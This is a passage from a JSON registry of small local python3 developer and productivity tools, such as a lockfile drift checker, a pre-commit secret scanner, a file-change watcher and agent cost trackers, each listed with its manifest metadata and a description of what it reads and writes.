4/expo-ship-doctor@0.1.1","manifest_uri":"https://play.modiqo.ai/dhiran4/expo-ship-doctor@0.1.1","name":"expo-ship-doctor","title":"expo-ship-doctor","description":"Audits Expo managed-workflow identity, versions, EAS production profiles, public environment-variable names, permissions, assets, updates, native drift, and store-reference expectations with file-and-line evidence.","owner":{"kind":"user","slug":"dhiran4"},"registry_organization":"dhiran4","tags":["expo","eas","mobile","release","config","assets","python","typescript"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.1","published_at":"2026-09-05T22:17:19.85728+00:00","visibility":"public","quality_score":1,"size_bytes":6766,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Expo project root; reads only public project configuration, source, and asset metadata"},{"name":"demo","type":"string","required":false,"default":"none","description":"Optional bundled demo selector, either passing or broken; when set, root is ignored"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e7301bab8f7ba3264da162601547e9a368a87746bac5484b5eca0ef96481e620","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adityagaur/lockfile-drift@0.1.1","reference":"adityagaur/lockfile-drift@0.1.1","uri":"https://play.modiqo.ai/adityagaur/lockfile-drift@0.1.1","manifest_uri":"https://play.modiqo.ai/adityagaur/lockfile-drift@0.1.1","name":"lockfile-drift","title":"lockfile-drift","description":"Which of your dependencies would change if you installed right now? Your manifest declares a range, your lockfile pins a version, and your installed tree holds a third answer -- and they disagree more often than anyone checks. This reads all three off your disk and reports each dependency as DRIFT (the sources disagree in a way your next install acts on), UNLOCKED (declared, but nothing pins it), UNCHECKED (a source could not be read or observed) or SYNCED (all three read, all three agree). A source that was not read is never reported as agreement: no node_modules means the installed state was not observed, so those rows are UNCHECKED and never SYNCED. Range evaluation is deliberately narrow -- carets, tildes, exact pins and single comparators are evaluated, while unions, hyphen ranges and git, file or workspace references are reported unevaluated rather than guessed. It never installs, never resolves against a registry, and never runs a package manager, so it cannot tell you the newest version -- only whether what you already have agrees with itself. npm and Python; standard library only.","owner":{"kind":"user","slug":"adityagaur"},"registry_organization":"adityagaur","tags":["domain-software-development","software-development","job-dependency-audit","job-reproducible-builds","tool-npm","tool-lockfile","effect-read-only"],"primary_domain":"domain-software-development","author":"adityagaur","version":"0.1.1","published_at":"2026-09-05T21:18:09.61122+00:00","visibility":"public","quality_score":0.875,"size_bytes":13244,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["read_locked","compare_pins","read_declared","read_installed"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Path to the project to check; defaults to the current directory","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:14f897805dcc734d7c342702b06a48f488e86bf43ce7042d424798e760ebda32","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/edgseu/package-abandonment-signal@0.1.0","reference":"edgseu/package-abandonment-signal@0.1.0","uri":"https://play.modiqo.ai/edgseu/package-abandonment-signal@0.1.0","manifest_uri":"https://play.modiqo.ai/edgseu/package-abandonment-signal@0.1.0","name":"package-abandonment-signal","title":"package-abandonment-signal","description":"Reads public npm and GitHub signals for one dependency (release cadence, commit cadence, maintainer count, archived state, monthly usage) and classifies it HEALTHY, WATCH, AT-RISK, or NOT-FOUND before it fails your build. Unauthenticated public endpoints only. Read-only. No credentials. No writes.","owner":{"kind":"user","slug":"edgseu"},"registry_organization":"edgseu","tags":[],"primary_domain":"domain-uncategorized","author":"amanb.singh21","version":"0.1.0","published_at":"2026-09-05T19:29:54.24451+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5418,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["npm_meta","github_repo","validate_pkg","npm_downloads","github_commits"]},"parameters":[{"name":"package","type":"string","required":true,"description":"The npm package name to assess"},{"name":"months","type":"string","required":false,"default":"12","description":"Months without a release or commit before the WATCH threshold"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:710979a4e6002fef9d46e6c723df8a18a298176200c44c439f19c40e87647f09","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/safe-to-commit@0.1.1","reference":"rajkaria/safe-to-commit@0.1.1","uri":"https://play.modiqo.ai/rajkaria/safe-to-commit@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/safe-to-commit@0.1.1","name":"safe-to-commit","title":"safe-to-commit","description":"The last thing between a live credential and permanent git history is you, at the moment you type commit. This reads what is actually staged and tells you what is in it: credentials, an `.env` that should not be tracked, leftover debugging, and files large enough that you will regret them for the life of the repository.\nIt does not run git. The index format is public and stable, so `.git/index` is parsed directly for the staged paths and their blob ids, and the blobs are read out of `.git/objects` with zlib — which means this keeps the same promise every other Play here keeps: no subprocess, no shell, nothing executed. Where a staged blob lives in a packfile rather than a loose object, the working-tree copy is read instead and the output names the files that happened to, so you know which lines were read from where. A version 4 index, whose paths are prefix-compressed, is declined by name rather than mis-parsed.\nThe credential detectors are the same ones `is-it-secret` uses, with the same exclusions, so `API_KEY=your-key-here` is not a finding here either. The debug detectors are deliberately narrow: `print(` counts in a `.py` file under `src/` and not in one under `scripts/`, where printing is the job; `console.log` counts only in JavaScript and TypeScript; a Go `fmt.Println` does not count in a main package. A pre-commit check that cries about everything gets bypassed within a week, and then it is protecting nothing.\nThe verdict is one of four words: `clean`, `review` (something is worth a look), `do-not-commit` (a live credential shape is staged), or `nothing-staged`.\n- Reads: `.git/index` and the loose objects for the staged paths, plus the working-tree copy of any staged file whose blob is packed. Nothing outside `repo`. - Never reads: your git credentials, `~/.gitconfig` secrets, any keychain or token file. It reads what you staged and nothing else. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. This is the check that reads your secrets; it is also the one with no network stack. - Writes nothing. It does not stage, unstage, commit, amend or modify anything. It reads and reports. - Never prints what it found. Every credential is masked to its first four and last two characters plus a length, and a test asserts the original never appears in the output. - Runs cold: set `demo=true` to read a bundled synthetic repository — a real index and real loose objects, written byte by byte, with a fake key staged in it.\nSee also: `is-it-secret` for the same detectors over a paste, and `since-last` for what changed whether or not you staged it. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-security","job-precommit-check","job-secret-detection","audience-developers","effect-read-only","tool-git"],"primary_domain":"domain-security","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:18.571253+00:00","visibility":"public","quality_score":1,"size_bytes":45555,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"repo","type":"string","required":false,"default":".","description":"The working copy whose staged set is read, straight out of .git/index. No git process is started.","example":"~/code/my-project"},{"name":"max_file_kb","type":"integer","required":false,"default":"512","description":"A staged file bigger than this is called out before it goes into history, where it stays for ever.","example":"512"},{"name":"strict","type":"string","required":false,"default":"true","description":"true also flags an assignment whose name says secret and whose value is random enough to be one.","example":"true"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:84bdf9478fe307c287dc0b6d8577c367f29a60d907290df76ca468b648652399","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/since-last@0.1.1","reference":"rajkaria/since-last@0.1.1","uri":"https://play.modiqo.ai/rajkaria/since-last@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/since-last@0.1.1","name":"since-last","title":"since-last","description":"An agent has been working. What did it touch? Not what it said it did — what actually moved on disk since the last time you asked.\nThe first run notes the tree and says so, rather than claiming every file in your repository is new. Every run after that gives you what was created, what changed, what was deleted, the line counts that went with it, and the biggest single change. A file whose timestamp moved but whose bytes did not is not reported as modified, because that is noise and noise is what makes a check like this stop being read.\nThe other half is the question people actually have, and it is answered without opening anything: `~/.ssh`, `~/.aws`, `~/.config`, `~/.gnupg`, `~/.claude`, `~/.codex` and `~/Library/LaunchAgents` are checked by directory timestamp alone. The Play can tell you something under `~/.ssh` changed while it was working, and it can tell you that having read not one byte of what is in there.\nThe walk is bounded and says when it hit the bound, so a partial answer is reported as a lower bound and never as a complete one. `.git`, `node_modules`, `__pycache__`, `.venv`, `dist`, `build`, `target` and their friends are skipped by default; add your own with `ignore`.\n- Reads: file names, sizes, timestamps and line counts under `root`; file contents only far enough to count newlines and to notice a NUL byte, which makes a file binary and its line count unreported rather than invented. The sensitive directories are read by timestamp only. - Never reads: any credential, keychain or token file. It notices that `~/.ssh` changed; it never looks inside it. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. Your file names never leave the machine. - Writes: one snapshot file per watched folder under `state_dir`, and nothing else, ever. Nothing in `root` is modified, moved or deleted — this Play has no way to change your tree, only to describe it. - Runs cold: set `demo=true` to compare a bundled tree against a bundled earlier snapshot, in a temporary folder. Your own state is not touched.\nSee also: `safe-to-commit`, which reads what is staged rather than what changed, and `last-turn`, which prices the turn that did the changing. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-change-review","job-blast-radius","audience-developers","effect-local-write","tool-filesystem"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:16.926352+00:00","visibility":"public","quality_score":1,"size_bytes":45612,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"The tree whose changes you want. Compared against the snapshot from the last time you asked about this same folder.","example":"~/code/my-project"},{"name":"state_dir","type":"string","required":false,"default":"~/.rote-micro","description":"The one directory this Play writes to. One append-only JSONL file per stream; nothing is ever deleted or rewritten in place.","example":"~/.rote-micro"},{"name":"ignore","type":"string","required":false,"default":"","description":"Comma-separated, added to the built-in list (.git, node_modules, __pycache__, .venv, dist, build and friends).","example":"coverage,tmp"},{"name":"max_files","type":"integer","required":false,"default":"20000","description":"The walk stops here and says so, so a partial answer is never reported as a complete one.","example":"20000"},{"name":"watch_sensitive","type":"string","required":false,"default":"true","description":"true also notices whether ~/.ssh, ~/.aws, ~/.config, ~/.gnupg or LaunchAgents changed — by directory timestamp alone, never by reading what is in them.","example":"true"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:22b03d11440b1c37fc3fb42a364b6b46a3a29ed326ee31ee4f817feee346e76f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/budget-left@0.1.1","reference":"rajkaria/budget-left@0.1.1","uri":"https://play.modiqo.ai/rajkaria/budget-left@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/budget-left@0.1.1","name":"budget-left","title":"budget-left","description":"You set a number you are willing to spend on agents today. This tells you how much of it is gone, how fast you are burning it, and whether you are going to hit the cap before the day ends.\nToday's spend is priced from the transcripts the agents already write, by tail, the same way `last-turn` does it, so it is cheap enough to check between tasks. The burn rate is measured from your first turn of the day rather than from midnight, because an hour you were not working is not an hour you were spending. The crossing time is only ever printed when the crossing happens today: \"about 16:40\" for a moment eighteen days away would read as this afternoon and mean nothing, so instead it says the cap is not today's problem at this rate.\nA day with nothing billed says so, rather than dividing by zero and inventing a rate.\n- Reads: `*.jsonl` transcripts under `claude_dir` and `codex_dir`, tails only, up to three directories deep. Only files touched in the last two days are opened at all. - Never reads: `~/.claude.json`, `~/.codex/auth.json`, any credential, keychain or token file. Your plan, your invoice and your account balance are never consulted — this is arithmetic over your own logs, not a billing integration. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. - Writes nothing. The budget is a parameter, not a stored setting; nothing is kept between runs. - No message text is read or printed. Only usage blocks, model ids and timestamps. - Runs cold: set `demo=true` to read bundled synthetic transcripts with nothing configured.\nSee also: `last-turn` for the turn that just finished, and `comped` for what the month actually came to. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-budget-check","job-agent-cost-review","audience-developers","effect-read-only","tool-claude-code","tool-codex"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:14.774745+00:00","visibility":"public","quality_score":1,"size_bytes":81272,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"daily_budget","type":"string","required":false,"default":"10","description":"What you are willing to spend on agents today, in dollars. The burn rate is measured against it.","example":"15"},{"name":"claude_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Where Claude Code keeps its session transcripts. Only the tail of the newest file is read.","example":"~/.claude/projects"},{"name":"codex_dir","type":"string","required":false,"default":"~/.codex/sessions","description":"Where Codex keeps its session transcripts. Only the tail of the newest file is read.","example":"~/.codex/sessions"},{"name":"rates_path","type":"string","required":false,"default":"","description":"Empty uses the price table bundled with the Play. Point it at your own JSON to price with different rates.","example":"~/prices.json"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:547a4b5f538c7253dacbf1750e7f8040e1fb315dc22876dd9cbf9ea2a5607c21","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/last-turn@0.1.1","reference":"rajkaria/last-turn@0.1.1","uri":"https://play.modiqo.ai/rajkaria/last-turn@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/last-turn@0.1.1","name":"last-turn","title":"last-turn","description":"The turn just finished. What did it cost? Not this month, not this project — that one turn, ninety seconds ago. Model, tokens in, tokens out, how much of the input was cache, the dollars, and today's running total underneath it.\nThe reason this can run twenty times a day is that it does not read your history. It finds the most recently modified transcript under the directories you configure and reads the last 256 KB of it — a tail, not an accounting, and the output says exactly that so nobody mistakes a partial number for a total. `comped` is the Play that reads everything and prices a month; this is the one you can afford to run between turns.\nIt reads Claude Code and Codex transcripts. Codex reports running totals rather than per-turn ones, so the turn is the difference between consecutive records, and a total that went down is treated as a new session rather than as a negative turn. Codex also names the model once at the top of the session, so when the file is long enough that the model would fall outside the tail, the head is read for that one fact. A record in a format this does not know is skipped and counted, and the count is in the output, so an unread format shows up as a number rather than as a silent zero.\nPrices come from the same maintained table `comped` uses. A model the table does not know is reported by name with its tokens and no dollar figure, because no number is better than a wrong one.\n- Reads: `*.jsonl` transcripts under `claude_dir` and `codex_dir`, tails only, up to three directories deep. Two directories that turn out to be the same directory are read once, not twice. - Never reads: `~/.claude.json`, `~/.codex/auth.json`, any credential, keychain or token file. Which model you ran is taken from the model ids already in the transcript; your plan and your account are never consulted. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. Your transcripts are read, priced and printed on this machine. - Writes nothing. No state, no cache, no output file. - No message text is read or printed. Only the usage blocks, the model ids and the timestamps are touched. - Runs cold: set `demo=true` to read bundled synthetic transcripts with nothing configured.\nSee also: `budget-left` for what today has left in it, `comped` for the month and the multiplier, and `session-ledger` for the normalized ledger underneath both. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-token-accounting","job-agent-cost-review","audience-developers","effect-read-only","tool-claude-code","tool-codex"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:12.126188+00:00","visibility":"public","quality_score":1,"size_bytes":81490,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"claude_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Where Claude Code keeps its session transcripts. Only the tail of the newest file is read.","example":"~/.claude/projects"},{"name":"codex_dir","type":"string","required":false,"default":"~/.codex/sessions","description":"Where Codex keeps its session transcripts. Only the tail of the newest file is read.","example":"~/.codex/sessions"},{"name":"rates_path","type":"string","required":false,"default":"","description":"Empty uses the price table bundled with the Play. Point it at your own JSON to price with different rates.","example":"~/prices.json"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:03edc1bdc4db2b04f28292084ce7a144b6a94000d5faef7d19ef7ed3c014361f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/streak@0.1.1","reference":"rajkaria/streak@0.1.1","uri":"https://play.modiqo.ai/rajkaria/streak@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/streak@0.1.1","name":"streak","title":"streak","description":"`did=water`. One word, several times a day, and the Play keeps the only part of habit tracking that ever changes anyone's behaviour: how long the run is, and which day you keep dropping it.\nEach habit gets its current streak, its longest ever, a grid of the last twenty-one days, and — once there is enough history to say it honestly — the weekday you miss most often. Marking the same habit twice in one day is one day; the log keeps both marks, the streak counts the day.\nToday not being marked yet does not end your streak. The day is not over, and a tracker that resets at midnight punishes you for checking it in the morning.\n- Reads: only its own log, at `state_dir/streak.jsonl`. Nothing else on the machine. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. - Writes: one appended line to `~/.rote-micro/streak.jsonl` (or wherever you point `state_dir`), and nothing else, ever. Appends only: nothing is deleted, truncated or rewritten in place. - The missed-weekday reading is withheld until there are at least fourteen days of history and one weekday is clearly worse than the others, because a pattern read from four days is not a pattern. - Runs cold: set `demo=true` to read a bundled fourteen-day log copied to a temporary folder. Your own log is not opened.\nSee also: `punch` for the hours inside a day, and `jot` for the thoughts. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-productivity","job-habit-tracking","job-streak-review","audience-everyone","effect-local-write","tool-jsonl"],"primary_domain":"domain-personal-productivity","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:09.571302+00:00","visibility":"public","quality_score":1,"size_bytes":45156,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["record","report"]},"parameters":[{"name":"did","type":"string","required":false,"default":"","description":"The habit you are marking, one word. Leave it empty to read the streaks back without marking anything.","example":"water"},{"name":"state_dir","type":"string","required":false,"default":"~/.rote-micro","description":"The one directory this Play writes to. One append-only JSONL file per stream; nothing is ever deleted or rewritten in place.","example":"~/.rote-micro"},{"name":"window","type":"integer","required":false,"default":"21","description":"How many days the grid shows, and the window the missed-weekday reading is taken over.","example":"21"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:840874288b207abf003f0f5f22cdc2f378785b963e404c60a3928193d36d9455","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/jot@0.1.1","reference":"rajkaria/jot@0.1.1","uri":"https://play.modiqo.ai/rajkaria/jot@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/jot@0.1.1","name":"jot","title":"jot","description":"A thought arrives while you are doing something else. `note='ring the dentist'` and it is in your notes, timestamped, and you are back to what you were doing. No app to open, no window to find, no place to decide on.\nIt appends `- 14:22 ring the dentist` to one Markdown file inside your vault — plain Markdown, so Obsidian, Logseq, a text editor or `cat` all read it the same way — and mirrors the capture to its own log, so the count and the streak survive you moving the vault. The same note twice within a minute is refused, because the second one is a slip of the hand rather than a second thought. An hour later the same words are a new thought and are captured.\nLeave `vault_dir` empty and it writes to the log only, touching nothing in your notes at all.\n- Reads: its own log, and the one inbox file inside `vault_dir` to count what is sitting there. Not the rest of your vault. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. What you capture here stays on the machine. - Writes: one appended line to `~/.rote-micro/jot.jsonl` and one appended line to `<vault_dir>/<inbox>`. Both are appends: nothing in your notes is deleted, truncated or rewritten in place, and no other file in the vault is opened for writing. The exact path written is printed in the output. - Runs cold: set `demo=true` to read a bundled fourteen-day log copied to a temporary folder. Your own log and vault are not opened.\nSee also: `vault-pulse`, which measures the vault this one fills — orphans, broken links, and the notes you never went back to. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-productivity","job-quick-capture","job-notes-inbox","audience-everyone","effect-local-write","tool-obsidian","tool-markdown"],"primary_domain":"domain-personal-productivity","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:07.274653+00:00","visibility":"public","quality_score":1,"size_bytes":45302,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["record","report"]},"parameters":[{"name":"note","type":"string","required":false,"default":"","description":"One line, captured now. Leave it empty to read the inbox back without adding to it.","example":"ring the dentist"},{"name":"vault_dir","type":"string","required":false,"default":"","description":"Your Obsidian vault or any folder of Markdown. Empty keeps the capture in the log only and writes nothing to your notes.","example":"~/Notes"},{"name":"inbox","type":"string","required":false,"default":"Inbox.md","description":"The one file inside vault_dir this Play appends to. Created with a heading if it does not exist.","example":"Inbox.md"},{"name":"state_dir","type":"string","required":false,"default":"~/.rote-micro","description":"The one directory this Play writes to. One append-only JSONL file per stream; nothing is ever deleted or rewritten in place.","example":"~/.rote-micro"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every 